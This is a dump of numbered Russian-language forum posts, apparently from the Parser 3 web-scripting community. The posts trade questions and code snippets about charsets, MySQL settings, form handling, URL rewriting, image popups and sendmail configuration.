"16350","В корневом auto.p внутри описания метода @auto[] описываю переменную $passite[no], которая вроде бы должна быть глобальной. Но когда я меняю ее значение на $passite[yes] на другой подчиненной страничке, значение не меняеться. Чего то я не врубаюсь.\
\
Ребята, извиняюсь, вопрос снимаю. Ответ в id=7200"
"16351","отпостите ваш код сюда...\
насколько мне известно там стоит FreeBSD 4.6 -stable\
у вас просто страницы выполняються, у вас работает уже что то готовое на Пасере?"
"16352","Не могу найти точку опоры в приведенном тобой примере. Беру твою ссылку с сайта майкрософт, ставлю в поиск допустим альфа в верхнем регистре \"0xC1\" и .. ничего не нахожу ни в 1251 ни в 1253."
"16353","я тесты проводил, в переменню $str написал символы греческого алфавита, всё что требоволось он сделал, перевёл в верхний и нижний регист и вывел в UTF-8. (это с использованием второго файла, первый вообще не работал).\
\
[code]\
$request:charset[windows-1253] \
$response:charset[UTF-8]\
\
$response:content-type[ \
   $.value[text/html] \
   $.charset[$response:charset] \
]\
\
$str[&#231;&#246;&#203;&#206;&#246;&#236;&#201;&#201;&#231;&#232;&#238;&#234;&#206;&#238;]\
$str\
^str.lower[]\
^str.upper[]\
[/code]"
"16354","<form name=\"additem\" enctype=\"multipart/form-data\" method=\"post\">\
<input type=\"file\" name=\"img\" size=38>\
<input type=submit value=\"Отправить\">\
\
$form.name == имя\
\
а как вытащить путь по которому берется этот файл???\
"
"16356","Подскажите пожалуйста - где исправить для корректной работы. Задача такая: вывести список \"товара\" с чекбоксами, в которых указано есть \"товар\" в списке или нет его. И соответсвенно отредактировать сие (поменяв чекбоксом значение, которое пойдет в однин из столбцов таблицы tel в базе). Я думаю, своим чайником, что надо иначе (если возможно) написать в обработке имхо там жуть у меня.\
------------\
$show\
^connect[$connect_string]{\
	$model[^table::sql{select name, id, sale, price from tel}\
	]\
}\
<form method=\"POST\">\
<table border=1> \
^model.menu{ \
<tr> \
<td>\
^if($model.sale eq on){\
<input type=\"checkbox\" name=\"sale\" checked>&nbsp^;\
$model.name&nbsp^;\
($model.id)&nbsp^;\
$model.price^$&nbsp^;/есть в листе\
}{\
<input type=\"checkbox\" name=\"sale\">&nbsp^;\
$model.name&nbsp^;\
($model.id)&nbsp^;\
$model.price^$&nbsp^;/нет в листе\
}\
</td> \
</tr> \
} \
</table>\
<p><input type=\"submit\" value=\"Обновить\" name=\"posted\"></p>\
</form>\
\
#тут надо написать правильно, но как?\
^connect[$connect_string]{\
	^void:sql{update tel set\
sale='$form:sale'\
}}"
"16357","Скажите пожалуйста, как сделан этот форум\
Насколько я понимаю, есть ьтаблица в базе с ячейками\
\
id -- paretnt_id -- text -- autor -- email\
Так ли это? Или нужны ещё какие-то принципиальные поля?"
"16359","http://www.parser.ru/examples/trees/\
\
Можно и по-другому немножко :))))"
"16361","да собственно и нет там никакого кода. Я просто тестировал установку Парсера на сервере.\
\
весь код, это \
$a[Парсер работает!]\
$a (в аштэмээле, ессно)\
\
.htaccess:\
AddHandler parsed-html html\
Action parsed-html /home/s/saprclub.h10.ru/cgi/parser3.cgi\
\
\
auto.p\
либо умолчательный, либо с прописанными ручками $confdir,$charsetdir и $driverdir\
к корню сайта, по мануалу Холма.\
\
Возможно, просто для cgi скриптов на этом хостинге установлены просто недостаточные квоты???:("
"16362","http://phpclub.net/talk/showthread.php?s=92378ab7eb15aa05ab24c3f579a3c46b&threadid=33343&highlight=defaultcharset\
\
http://www.mysql.com/doc/en/German_character_set.html\
\
http://phpclub.net/talk/showthread.php?s=92378ab7eb15aa05ab24c3f579a3c46b&threadid=21107&highlight=defaultcharset\
\
Ещё?"
"16363","Это можно сделать только в коде передаваемом клиенту.\
Код парсера передается клиенту?"
"16364","возьмите там файл test и тестите, сразу всё видно будет \
а также посмотрите error log "
"16365","первая приведеная тобой ссылка - там собственно и нет ничего по вопросу кроме упоминания\
[quot]\
Поставь в my.ini\
...\
default-character-set=koi8_ru\
[/quot]\
my.ini (по секрету, только не говори никому) - это конфигурационный файл MySQL СЕРВЕРА, и строка эта добавляется в секцию настроек СЕРВЕРА, и к отдельной БД этого сервера её добавить невозможно.\
\
вторая ссылка (спасибо конечно, что дал ссылку на доку mysql-я, только я этот раздел почти наизусть знаю уже):\
знаешь что такое: \"you should start mysqld with --default-character-set=latin1_de\", как в общем и любой другой --default-character-set=?\
это ключ запуска mysql СЕРВЕРА (так-же можно жестко задать при компиляции или в винде в конфигурационном файле СЕРВЕРА). ты где-нить видишь, что при этом указывается БД, к которой это применяется? это тебе ни о чем не говорит? лично мне говорит о том, что это параметр СЕРВЕРА, а не БД, и меняется он у сервера (т.е. сразу у всех баз на этом сервере)\
\
третья ссылка:\
кроме упомянутых ранее my.ini/my.cnf тут есть такое:\
[quot]\
SHOW VARIABLES;\
[/quot]\
этой коммандой получают параметры СЕРВЕРА, а не настройки конкретной БД.\
\
если ты внимательно читал сообщения на форуме phpclub-а, то заметил-бы, что большинство решают проблему на локальном, виндовом mysql-е, где собственно сервер один и пользователь его царь и бог. \
\
изменить настройку mysql СЕРВЕРА никакой хостер не даст, о чем собственно говорилось не раз, не два и не три.\
\
P.S. я больше не отвечаю тут по этому вопросу, похоже ты все равно не поймешь разницу."
"16366","http://ваш_сервер/cgi-bin/parser3.cgi (если у вас другой скрипт алиас или парсер переименован, то соответственно вызов подправить).\
\
хотя очень вероятно, что они зарезали рессурсы процессу, тогда это не лечится..."
"16367","Пока я сам этого не попробывал.\
\
Сам я раньше писал поиск по таблице и у меня на локе была такая же проблема.\
\
Полез в файл поменял. Все заработало. Будь по твоему пока я не могу это опровергнуть, но мне не вериться, что пользователь не может настроить на своём аккаунте кодировки.\
\
Повторяю: Будь по твоему!"
"16368","Ребята, извиняюсь за вопрос. Сморозил, конечно ! Просто привык к ASP, там все можно на VBscripte и на клиенте и на сервере. "
"16369","Использовал следующую конструкцию:\
	$cookie:adver_login[ \
	$.value[${form:cod}${form:pin}] \
	$.expires[session]\
	]\
Потом читаю его, читается. Потом броузер закрываю, опять запускаю, не читается. В общем все работает, как и описано. Но где же он все таки хранится. Облазил все эти \\windows\\cookies  и т.п. , не нашел. Может он вообще в какой нибудь системной переменной храниться? Ну топоват я в этом. Так снизойдите. Упреждая добавлю, искал его, естетсвенно, пока броузер работал."
"16373","Конечно, все работает, но не уюто как-то. Боюсь я на стадии разработки не контролируемые процессы."
"16375","Помогите мне все таки разобраться как отследить неправлильную дату ..\
$exception.handled(1) вовсюда пихал, все равно не пашет.\
\
\
[code]\
^try{ \
   $now[^date::create(1002;23;43)]\
}{  \
   #что дословно мне тут надо написать\
}\
[/code]\
"
"16376","проверьйте год, месяц, и число если выходят за допустимые рамки, создавайте текущую дату.\
\
задачу объясните... "
"16378","написать нужно как минимум $exception.handled(1), а дальше - по задаче, например можно сделать $now[^date::now[]], а можно сделать ^throw[my;что-то] и ловить в другом месте."
"16379","Это пока альфа-версия сайта.\
Сделано на Парсере3 без использования баз данных.\
Достойно сие творение того, чтобы попасть в \"в действии\" ???"
"16380","Можно ли при помощи Parser'а просматривать и изменять аттрибуты файлов?"
"16381","Решил сделать форму подачи объявления как у людей. Т.е. если вдруг не то пользователь написал или не все заполнил, то ему выдается форма со всем добром, что он уже успел заполнить.\
\
И все бы классно, да замечательно, но...\
Парсер использует по умолчанию UTF-8 и поэтому русские символы из формы возращаются именно в нем.\
\
Ну, думаю, ладно, в auto.p нужного раздела написал следующее:\
\
[code]@auto[] \
$request:charset[windows-1251]\
$response:charset[UTF-8]\
$response:content-type[\
$.value[text/html]\
$.charset[$response:charset]\
][/code]\
\
Ну все, думаю, теперь будет работать на радость посетителям. Проверил в OP7, IE5 и NN6 - там везде кодировка сама переключается, даже если Автоопределение отключено.\
Но моя любимая Опера 6.05 без включенного Автоопределения — не переключает. ;-(\
\
Есть ли альтернатива тому коду, что выше? Ведь не буду же я отказываться от посетителей с таким браузером/броузером (кому как нравится), как у меня — несовременным, но любимым?!"
"16385","Правда разок попал на грабли с БД, и поэтому тут надо с [b]умом[/b] действовать :)\
\
PS: Миша, ты когда глюк с регистацией при работе с IE уберёшь?"
"16386","правда не всегда, в этом случае ^try логичней и элегантней."
"16387","т.е. не пишу никаких ?charset=cp1251_koi8 хотя у меня тоже файлики в cp1251 и вроде все работает. Некоторые XSL вообще в UTF-8 вроде."
"16388","В MS SQL 2000 collation (комбинацию сортировки + кодовой страницы) можно настраивать не только для каждой БД, но и даже для каждого столбца любой таблицы. А в мускуле и вправду низя."
"16392","просто у меня там нет сортировок по тексту и upper/lower\
\
буду конвертировать базу и пересоздавать индексы..."
"16393","Например при выводе ссылок для разделов и материалов он используется и как можно видеть, сортировка там правильная, во всяком случае на локальном хосте с default charset = cp1251 то же самое."
"16394","а вот насчёт того, в какой кодировке БД я не был в курсе :), у меня не было проблем с ней, поэтому я не лез в такие вещи."
"16395","Достаточно в файле src/include/pa_pool.h в функции check прописать вместо кода            if(ptr) {\
                        ftotal_allocated+=size;\
                        ftotal_times++;\
                        return ptr;\
                }\
вставить код \
               if( (ptr) && (ptr!= NULL )) {\
                        ftotal_allocated+=size;\
                        ftotal_times++;\
                        return ptr;\
                }\
\
                if (ptr==NULL) {\
                        return ptr;\
                        }\
\
Best Regards\
                       Arthur\
                "
"16396","http://www.fridas.ru/cinema/\
\
Parser 3\
Работает на SunHead - системе управления, написанной на нем же."
"16397","Можно запустить внешний скрипт, который вернет нужный результат.\
Сам парсер это делать вряд ли когда будет, насколько я помню слова PAF'а"
"16398","не знаю, как сделать иначе, чтобы после постинга при перенаправлении на просмотр результатов :) постинга заставить броузер рефрешнуть страницу, а не брать из кеша."
"16400","загружается страница... 10 сек пауза... перегружается... и т.д.\
\
такое ощущение, что meta refresh стоит, не понятно зачем, в код не глядел.\
\
а после постинга броузер не надо заставлять брать не из кеша, он сам это должен сделать, POST-же идет..."
"16401","Ибо в поля формы возвращается UTF-8."
"16403","[i]Парсер использует по умолчанию UTF-8 и поэтому русские символы из формы возращаются именно в нем.[/i]\
\
\"по умолчанию\" в этом случае означает \"если не задана $response:charset[кодировка]\".\
если задать $response:charset[windows-1251] то русские символы возвратятся в windows-1251."
"16404","[code]\
<input name=\"date\" value=\"${now.day}.${now.month}.${now.year}\">[/code]\
\
выводит в поле формы дату без нолей в месяце и дне. Т.е. 7.5.2003.\
\
Можно конечно дописывать в ручную каждый раз, но хотелось бы исправить. Что может быть не так? Или так задумано?"
"16405","я невнимательно прочитал документацию как его прописать, выспался и снова прочел. \
А возможно ли сделать чтобы некоторые страницы были доступны в русской и греческой кодировке, имея две версии файла естественно. Насколько я понял дефолт кодировка может быть только одна."
"16409","Рома, прийду домой соберу из исходников без safe mode, по дрессируем сервак."
"16410","Естественно что речь идет о javascript..."
"16412","Допустим id у нас уникален, тогда получаем примерно следующее:\
\
[code]\
------------\
$show\
^connect[$connect_string]{\
$model[^table::sql{select name, id, sale, price from tel}\
]\
}\
<form method=\"POST\">\
<table border=1> \
^model.menu{ \
<tr> \
<td>\
^if($model.sale eq on){\
<input type=\"checkbox\" name=\"sale\" [color=\"red\"]value=\"$model.id\"[/color] checked>&nbsp^;\
$model.name&nbsp^;\
($model.id)&nbsp^;\
$model.price^$&nbsp^;/есть в листе\
}{\
<input type=\"checkbox\" name=\"sale\" [color=\"red\"]value=\"$model.id\"[/color]>&nbsp^;\
$model.name&nbsp^;\
($model.id)&nbsp^;\
$model.price^$&nbsp^;/нет в листе\
}\
</td> \
</tr> \
} \
</table>\
<p><input type=\"submit\" value=\"Обновить\" name=\"posted\"></p>\
</form>\
\
#тут надо написать правильно:\
$sold[[color=\"red\"]$form:tables[/color].sale]\
^connect[$connect_string]{\
^void:sql{UPDATE tel SET sale='on' WHERE id [color=\"red\"]IN[/color] (^sold.menu{$sold.field}[,])\
}}\
[/code]\
\
Что почитать:\
\
1. Спецификацию HTML, ключевое слово <input\
2. Документацию Парсера по $form:tables\
3. Документацию к MySQL, ключевое слово IN"
"16413","Заменил для Parser libmySQL.dll на версию из bin каталога MySQL 4.0.12.\
Вроде все работает, но поскольку есть еще parser3mysql.dll, то просто хотелось бы уточнить: было ли корректным мое действие и могут ли возникнуть неприятности в дальнейшем, особенно для 4.1.х"
"16414","http://validator.w3.org/check?uri=http%3A%2F%2Fcreator.bcsoft.org%2F - This page is not Valid HTML 4.0 Transitional!\
\
И CSS: http://jigsaw.w3.org/css-validator/validator?uri=http%3A%2F%2Fcreator.bcsoft.org%2F&warning=1&profile=css2\
\
"
"16415","как сделать дублирующую навигацию"
"16418","Есть у меня такая байда:\
[code]\
$ris[^table::load[файл.cfg]]\
\
   ^ris.menu{\
$photo[^image::measure[$ris.uri]]\
\
<a href=\"javascript: openWin('$ris.uri','no',$photo.width,$photo.height)^;\">\
	  }[/code]\
Можно ли как-нибудь сделать, чтобы $photo.width и $photo.height были на пикселей десять больше их оригинального размера?"
"16419","Может так пойдёт - \
[code]\
$ris[^table::load[файл.cfg]]\
^ris.menu{\
	$photo[^image::measure[$ris.uri]]\
	^photo.width.inc(10)\
	^photo.height.inc(10)\
	<a href=\"javascript: openWin '$ris.uri','no',$photo.width,$photo.height)^;\">\
}\
[/code]\
или даже так - \
подключаем класс:\
[code]\
@CLASS\
Images\
\
@init[root]\
$self.root[$root]\
$self.imgs[^file:list[$root;\\.(gif|jpeg|jpg)^$]]\
^createImages[]\
\
@createImages[][name;ext]\
^imgs.menu{\
	$name[^imgs.name.match[([^^\\\\\\/\\.\\!\\?\\*\\&\\%])\\.([gifjpe]{3,4})^$][]{${match.1}$ext[$match.2]}]\
	$self.[${name}_$ext][^image::measure[${root}$imgs.name]]\
}\
[/code]\
а потом вызываем где надо:\
[code]\
$cP[^Images::init[путь_к_папке_с_рисунками]]\
^cP.imgs.menu{\
	<a href=\"javascript: openWin('$cP.имярисунка_расширениерисунка.src','no',^eval($cP.имярисунка_расширениерисунка.width + 10),^eval($cP.имярисунка_расширениерисунка.heigth + 10))^;\">\
}\
[/code]\
Другое дело, что эта \"байда\", всё равно работать не будет, имхо, крива :)\
Ну, можно ещё более приколоцца и добавить в класс Images такой метод:\
[code]\
@popUp[img][name]\
$name[^file:justname[$imgs.name]_^file:justext[$imgs.name]]\
^taint[as-is][\
<script language=\"JavaScript\" type=\"text/javascript\">\
<!--\
function open${name}Win()^{\
	var width=$img.width+10^;\
	var height=$img.height+10^;\
	var leftPos = (screen.availWidth-width) / 2^;\
	var topPos = (screen.availHeight-height) / 2^; \
	${name}Win = window.open('$img.src','','width=' + width + ',height=' + height + ',scrollbars=yes,resizable=yes,titlebar=0,top=' + topPos + ',left=' + leftPos)^;\
^}\
//-->\
</script>\
]\
<a href=\"javascript:open${name}Win()\">^img.html[]</a>\
[/code]\
тогда вот такой вызов:\
[code]\
$cP[^Images::init[путь_к_папке_с_рисунками]]\
^cP.imgs.menu{\
	^cP.popUp[$cP.имярисунка_расширениерисунка]\
}\
[/code]\
выдаст чего-то более-менее работоспособное :))\
ну можно ещё как-нить извратицца...\
 "
"16420","вам нужна навигация к примеру сверху и снизу страницы...\
Создайте свой @navigator[style_name] как в примерах, внутри него в нужных тегах прописывайте свое CSS оформление и все.\
Вызов делайте в тех местах гле это надо:\
^navigator[header]\
...\
^navigator[footer]"
"16422","[code]\
$ris[^table::load[файл.cfg]]\
\
   ^ris.menu{\
$photo[^image::measure[$ris.uri]]\
\
<a href=\"javascript: openWin('$ris.uri','no',^eval($photo.width+10) , ^eval($photo.height+10))^;\">\
	  }\
[/code]"
"16423","Нужно на каждое нажатие соответствующей ссылки вызывать счетчик, самый примитивный можно взять в \"примерах\"."
"16425","Я не нашел в доке такой возможности, но она мне нужна.\
\
Это вообче очень полезная штука с точки зрения обработки кеширования картинок\
\
image.gif?дата_модификации\
\
таким образом можно без труда обновлять ресурс игнорируя кеширование и при этом экономить трафик с той точки зрения, что если бы использовать текущее время вместо даты можификации, то ресурс обновлялся бы всегда, а так игнорировать кеширование браузера будут только обновленные файлы."
"16428","Как можно передать классу ($class_name) таблицу ($table)?\
\
Пробывал так:\
[code]\
$init[^process{^^${class_name}::init[^$table]}]\
[/code]\
не получается...\
\
Как это сделать, если так можно передать?"
"16429","$init[^$class_name::init[\
$.table_class[$table]\
]\
]"
"16430","ПАФ писал об этом не раз, подобный код, даже если и будет возможность делать его просто, очень сложен в понимании.\
\
расскажите, какую задачу вы решаете, что вам потребовалось такое...\
\
P.S. например, так, где вы определяете значение переменной $class_name почему-бы сразу не создать объект нужного класса, которому потом скормить с помощью специально задуманой функции $table?"
"16432","Речь идет о http://www.isapirewrite.com\
Пытаюсь направить обработку всех урлов на /index.html, да, получается, но ...\
\
Вот ведь гемморой еще тот:\
- переменная, к примеру, xxx из строки запроса не попадают в $form:xxx\
- нет фичи [QSA], как у Апачевом rewrite\
- теперь я понял назначение $form:qtail ;)\
\
RTFM не привел к нужному рез-ту, может кто подскажет еще какие варианты ?\
"
"16435","[code]\
@CLASS\
userRequest\
\
@init[wPath]\
$self.wPath[$wPath]\
$self.ext[$MAIN:ext]\
$self.index[${MAIN:index}.$ext]\
$self.uri[$request:uri]\
$self.path[^uri.match[(^^${wPath}([A-Za-z]{2,2})(/.*))][]{$self.lang[$match.2]$match.3}]\
^if(!def $lang){\
	$lang[ru]\
}{\
#Вот здесь нужно поставить проверку на существование языка, чтоб не обращаться к несуществующим таблицам в случае неправильного запроса.\
}\
$path[^path.match[([^^\\/]+^$)][gi]{$self.file[$match.1]}]\
^if(def $file){\
	$file[^file.match[(^^[^^\\?]*)\\?{0,1}(.*)][gi]{${match.1}$self.Form[$match.2]}]\
	^if(!def $file){\
		$file[$index]\
	}\
}{\
	$file[$index]\
}\
$uri[${path}$file]\
^if(-f \"$uri\"){\
	$self.exist(1)\
}{\
	$self.exist(0)\
}\
^if($form:fields){\
	$Form[$form:fields]\
}{\
	^if(def $Form){\
		$Form[^getForm[]]\
	}\
}\
\
@getForm[][table;split;hash]\
$table[^Form.split[&]]\
$hash[\
	^table.menu{\
		$split[^table.piece.split[=;h]]\
		$.[$split.0][$split.1]\
	}\
]\
$result[$hash]\
[/code]"
"16436","[ISAPI_Rewrite]\
RewriteRule /(.+)	/index.html\\?uri=$1 [L,I]\
\
\
После неспешного чтения скудного man'a:\
[quote]\
ISAPI_Rewrite saves original path info + query string before any manipulation on the URL in HTTP header named X-Rewrite-URL. Then it can be retrieved in ASP with Request.ServerVariables(\"HTTP_X_REWRITE_URL\")\
[/quote]\
\
Имеем:\
URI: http://pds/test/?id=1\
\
Но:\
$env:HTTP_X_REWRITE_URL выдает:\
/index.html?uri=test/?id=1\
причем $form:id недоступно :(\
\
Такие вот грабли."
"16437","/index.html?uri=test/?id=1\
\
если у вас данные методом GET передаються, то просто строка запроса после ? разбиваеться на подстроки причём разделение с помощью &\
\
у вас строка должна выгледеть вот так:\
[code]\
 /index.html?uri=test&id=1&param2=something&...\
[/code]"
"16438","\"ISAPI_Rewrite saves original path info + query string...\"\
Saves? Saves!\
\"Then it can be retrieved in ASP with Request.ServerVariables(\"HTTP_X_REWRITE_URL\")...\"\
Can it be retrieved?\
Yes! -\
\"$env:HTTP_X_REWRITE_URL выдает:\
/index.html?uri=test/?id=1...\"\
Дык, - path info + query string и получили. :)))"
"16439","[quote]before any manipulation[/quote]\
означает, что если я задал /test/xxx.html?id=1\
то и вернуть должно [b]тоже самое[/b]\
а /index.html?url=/test/xxx.html?id=1\
это уже возврат uri [b]после[/b] преобразования.\
\
P.S. Аглицкий рулит ;)"
"16440","нужно типа\
$myvar[some&#160;phrase]\
как забить &#160; чтоб так и было\
"
"16441","неразрывный пробел ввел прямо с клавиатуры Alt-0160\
а если другой...\
можно, конечно разорвать код, но не всегда удобно и читабельно... и придется повторять, например\
$item1[begin]\
^if(^condition[]){<a href=\"^some_place[]\">}$item1&#160;^if(^condition[]){</a>}"
"16442","но сразу одно уточнение:\
&#160; => PARSER [b]&#160^;[/b]"
"16444","а то я сдуру ставил ^ везде и по разному, а начать с конца не догнал ;-) хоть Parser меня про параметры уведомлял...\
устал, короче, под конец рабдня..."
"16446","ну типа как в фрейм"
"16449","возможно или нет на p3 написать скрипт который в определённое время будет выполнять определённое действие (посылать e-mail, обращаться к бд и т.п.)? если нет то пожалуйста подскажите на чём это дело лучше писать (perl, c/c++) может cron задействовать?"
"16450","А в саппорте спросить слабо было?\
Могу предположить что после установки вы вручную добавили фильтр к сайту, хотя сама инсталляция добавляет глобальный фильтр автоматически. Вот и получилось что фильтр обрабатывается дважды - один раз глобальный, а второй раз у сайта, только теперь уже оригинальным запросом получается результат работы глобального фильтра."
"16451","Запустить парсер на обработку html страници не сложно."
"16452","как нужно расставить права доступа и что прописать в конфигах чтоб парсер не возмущался про safe mode."
"16453","как запустить апач отдельным процессом от имени другого пользователя?"
"16455","есть такой скуел запрос\
\
UPDATE `chat` set `visibility`='0' where `kto`='$form:name'\
\
а что если мне нада не все а только последние 10 последних строк подходящих под данный запрос\
\
LIMIT 0,10 неподходит\
"
"16456","такое должно работать:\
[code]\
^connect[$connect_string]{\
^void:sql{UPDATE chat SET visibility=0 WHERE kto='$form:name' LIMIT 10}\
}\
[/code]\
\
здесь происходит неявный апдейт десяти последних (т.е. последних добавленных) записей, т.к не указано ORDER BY.\
\
http://www.mysql.com/doc/ru/UPDATE.html"
"16457","Читай доку про SUEXEC"
"16458","вижу, что замыслен чат, и что ты хочешь таким образом скрывать то, что уже устарело. считаю, что выбраный вариант в корне неверный. не надо вводить столбец visibility вовсе. лучше добавь столбец с датой добавления, все станет на свои места, и ты при выборке для отображения будешь определять по дате, что устарело, а что нет.\
\
применительно к select:\
обычно подобное высказывание имеет смысл, если записи каким-то образом сортируются (ORDER BY).\
\
в твоем случае этого нет, т.е. твой запрос фактически будет означать следующее: \"достань мне записи удовбетворяющие таким-то условиям в произвольном порядке и из них я хочу то, что в самом конце\".\
\
вобще-то это очень плохой запрос. если ты переделаешь его в вид: \"достань мне записи, удовлетворяющие условиям таким-то, и упорядочи их по времени добавления\", то станет лучше. а если ты скажешь еще и \"...упорядочив по времени добавления в обратном порядке, при этом мне нужны только ппервые 10 записей\" - то я думаю, ты получишь то, что надо.\
\
на парсере это получится примерно так:\
[code]\
$res[^table::sql{SELECT ... FROM chat WHERE kto='$form:name' ORDER BY dt_add DESC}[$.limit(10)]]\
[/code]\
"
"16459","Apache лучше всего держать под nobody.\
Если запускать его \"отдельным процессом от имени другого пользователя\" то или при каждом запросе придётся создавать новый процесс (см. mod_become) или придётся содержать по несколько процессов для каждого пользователя в системе.\
\
Если возникший вопрос связан с работой Parser 3 в safe mode, то надо настроить Suexec, пользователь из-под которого работает Apache отношения к делу не имеет."
"16460","Ещё Лебедев писал - не юзать кавычки в числовых параметрах тегов.\
А ентот валидатор ругается... кому верить-то???"
"16461","-"
"16462","Использую довольно приличную таблицу подстановок - 44 килобайта и получаю [b]Array::get(1) out of range [0..0][/b].\
:(\
Это не лечится? Отказываться от replace?"
"16463","И прогнать их последовательно по строке. Другое дело, что не совсем понятно для каких целей такая штука может понадобится. "
"16464","Перевожу некий код с PHP, такая замена там используеться для интернационализации. Есть файл, где определяются языковые константы, затем они используються для замены с помощью preg_replace.\
\
Вот я и подумал не изощряясь использовать ^...replace[]. Взял, сделал таблицу из файла с константами... Обломинго, однако.\
\
Бить на куски? Можно конечно, даже по-идее правильней, но блин сам факт... Если Парсер ставить как модуль Апачный, это не пройдёт само по себе?"
"16465","IMHO не лучшее решение. Гораздо лучше в зависимости от запроса подгружать нужный языковый файл/класс с константами, а в шаблонах использовать переменные."
"16466","Придёцца разбивать, видимо. Думал прокатит как есть :("
"16470","Скорее всего Парсер не проверяет правильность составления таблицы, т.к. считает, что она создается кодером, а посему должна быть валидной."
"16471","А можно в ^if делать сложные условия с OR, AND?"
"16472","Посмотри http://www.parser.ru/docs/lang/exprops.htm"
"16474","Разработчики браузеров пользуются стандартами, а не \"ру/ководством\". Кстати, если надо обязательно сделать \"по-лебедевски\", предлагаю посмотреть исходник http://www.artlebedev.ru/ на предмет наличия кавычек."
"16475","При чем здесь тэги? html файл - это ж текст. ^load его и творите с ним что хотите. Вырезайте (^match, ^mid, ^replace... что угодно), Если впридачу он в xhtml написан - вообще зашибись - можно dom пользовать."
"16476","Офигеть! Это теперь работает, почти как апач с QSA\
[code]\
RewriteRule ([^\\?]+)([\\?]?)(.*) /index.html\\?uri=$1&$3 [L,I]\
[/code]"
"16477","А что такое \"ру/ководство\" ??? хмм... ладно, у яндекса спрошу как-нибудь...\
Делаю я не \"по-лебедевски\", а чтоб меньше байт занимало :)))))"
"16479","-"
"16480","так-же будет пожелание - не писать в теле сообщение '-' или что-то бессмысленное, чтобы люди даже не шли смотреть сообщение, т.к. все равно там ничего нет."
"16481","Господа, взгляните вот сюда:\
www.mynotescenter.ru/forum/\
вот думаю, довести это до ума или нет...\
ежели поделитесь базой PHPBB2 средних размеров, то скорее доведу, чем нет :))"
"16483","Если загрузить таблицу из файла с сервера, без отбора (т.е. не надо отбирать что нужно, а что нет)...\
\
...либо получение таблицы из БД (mySQL) с отбором?\
\
Вот что будет работать быстрее?"
"16484","Если оператор cache сохраняет строку, которая получится в результате работы кода, то почему же ^use[...] будет работать быстрее?"
"16485","Ежели вы грузите табличку из 3-х записей, то из таблицы конечно же будет быстрее. Но ежели вопрос стоит скажем в 100 000 записей, тут скорее всего MySQL пошустрее будет... но что удобнее так это точно."
"16486","он будет работать быстрее потому, что его предлагается размещать ВНУТРИ ^cache[], т.е. он не будет выполняться вовсе когда результат берется из кеша, а @USE будет подключать класс всегда."
"16487","миша уже ответил буквально: через промежуточную переменную.\
\
моё мнение: таких обращений следует избегать, поскольку они изрядно уменьшают читабельность кода.\
\
согласитесь, что вполне можно положить ваши таблицы в хэш, тогда будет не скверное «обращение к переменной, чьё имя хранится в переменной», а красивое «обращение в hash за значением, соответствующему ключу, который хранится в переменной».\
\
[code]\
^tables.$key.menu{\
   …\
}\
[/code]\
\
где\
[code]\
\
$tables[\
   $first[^table::create{…}]\
   …\
]\
[/code]"
"16488","^table.append{грязные куски тут} автоматически считаются написанными на языке 'table', их не нужно насильно taint делать.\
\
что до общей задачи: надеюсь, вы уже разобрались."
"16489","причём stack trace доступен только из unhandled exception. сейчас parser не ведёт учёт stack trace, этот trace сочиняется только при ошибке, когда ошибка не обработана.\
\
диагноз: опишите вашу задачу, вместе подумаем.\
пока я не представляю себе разумное использование такой информации."
"16490","response кодировку можно менять на ходу.\
скажем, если вы будете хранить файл.ru.html и файл.gr.html, то в auto.p вы можете посмотреть на $request.uri, и глядя на расширение имени файла,\
1. выставить необходимый response:charset\
2. выдать необходимый content-type заголовок с желаемым charset"
"16491","автор libxml подтвердил ошибку [я столкнулся с подобным перед праздниками], действительно не работает загрузка файлов если путь к документу, [b]из[/b] которого загружается файл[=относительно которого] содержит пробелы.\
\
вариант: положите загружаемый файл в DOCUMENT_ROOT, и укажите его так: \"http://localhost/имя\", префикс \"http://localhost/\" Parser заменит на $env:DOCUMENT_ROOT.\
\
вариант: если на windows: исправьте директиву Apache DocumentRoot, чтобы содержала short версию пути: [code]C:\\PROGRA~1\\APACHE\\HTDOCS[/code]\
\
последующие версии parser будут собраны с новейшей версией libxml, в которой эту ошибку автор говорит, что исправил."
"16492","сейчас ничего сделать нельзя.\
я в parser стремлюсь минимизировать работу с кодировками до абсолютного минимума, и вводить параметр «слушай, parser, тут мой sql сервер болван, и не хочет выдавать в удобной мне кодировке, не перекодируешь ли мне?» крайне не хочу.\
\
диагноз: переводите в windows, ничего в этом особенно страшного нет.\
\
если не хотите: берите исходники MySQL драйвера к Parser и добавляйте в них необходимое перекодирование."
"16493","но MSIE передаёт.\
parser для избежания разночтений путь вырезает.\
\
я не очень представляю, какая разница, откуда uploaded файл.\
если срочно очень надо, попробуйте покопаться в $request:body."
"16494","так что пишите на любимом вами скриптовом языке, parser вам тут мешать не будет."
"16495","я про 4 не читал, но до сих пор они очень долго поддерживали протокол неизменным.\
\
прочтите, расскажите окружающим?"
"16496","Господа!\
В таблице нужна сортировка по двум столбцам ОДНОВРЕМЕННО: в первом по убыванию (числовое поле), второе поле - текстовое, его нужно соответственно по алфавиту, т.е. по возрастанию. Есть такая возможность?"
"16497","[code]\
^t.sort{^eval(1000000-$t.первое)[%0d]$t.второе}\
[/code]"
"16498","можно то можно, но..."
"16499","Ругается так:\
Parser was configured with --with-sendmail=/usr/sbin/sendmail -i -t -f postmaster key, to change sendmail you should reconfigure and recompie it\
send\
  \
\
auto.p\
@auto[]\
$MAIL[ \
	$.sendmail[/usr/sbin/sendmail ] \
	$.SMTP[mail.valuehost.com]\
] \
\
#################\
^mail:send[ \
      $.from[Admin<адрес>] \
      $.to[${form:name} ^taint[<${form:email}>]] \
      $.errors-to[адрес]\
      $.subject[текст] \
      $.text[текст ^taint[${form:name}]]\
\
] \
      $.charset[windows-1251]\
] \
\
\
###################################\
System path to system binaries:\
sendmail - /usr/sbin/sendmail \
SMTP Mail server: mail.valuehost.com"
"16500","просто вызов sendmail идёт без проверки прав пользователя, таким образом вы могли бы запускать почти любую программу, если бы система была неправильно сконфигурирована.\
\
Парсер скомпилирован таким образом, что он обращается к программе по стандартным расположениям\
/usr/sbin/sendmail \
/usr/lib/sendmail \
\
если у вас программа лежит в другом месте придётся перекомпилировать.\
\
в конфигурационном файл не нужно писать\
установки к почте под юникс просто вырежите ваш\
$MAIL[ \
$.sendmail[/usr/sbin/sendmail ] \
$.SMTP[mail.valuehost.com]\
] \
\
поддержка SMTP для *nix не включена\
\
а вообще если воспользоваться поиском то как всегда вы не первый:)\
http://www.parser.ru/forum/?id=14711\
"
"16501","Убрал...теперь не ругается, но и не отправляет (может и отправляет, только ничего не приходит) :(("
"16502","ближайшую дату относительно сегодняшнего дня???\
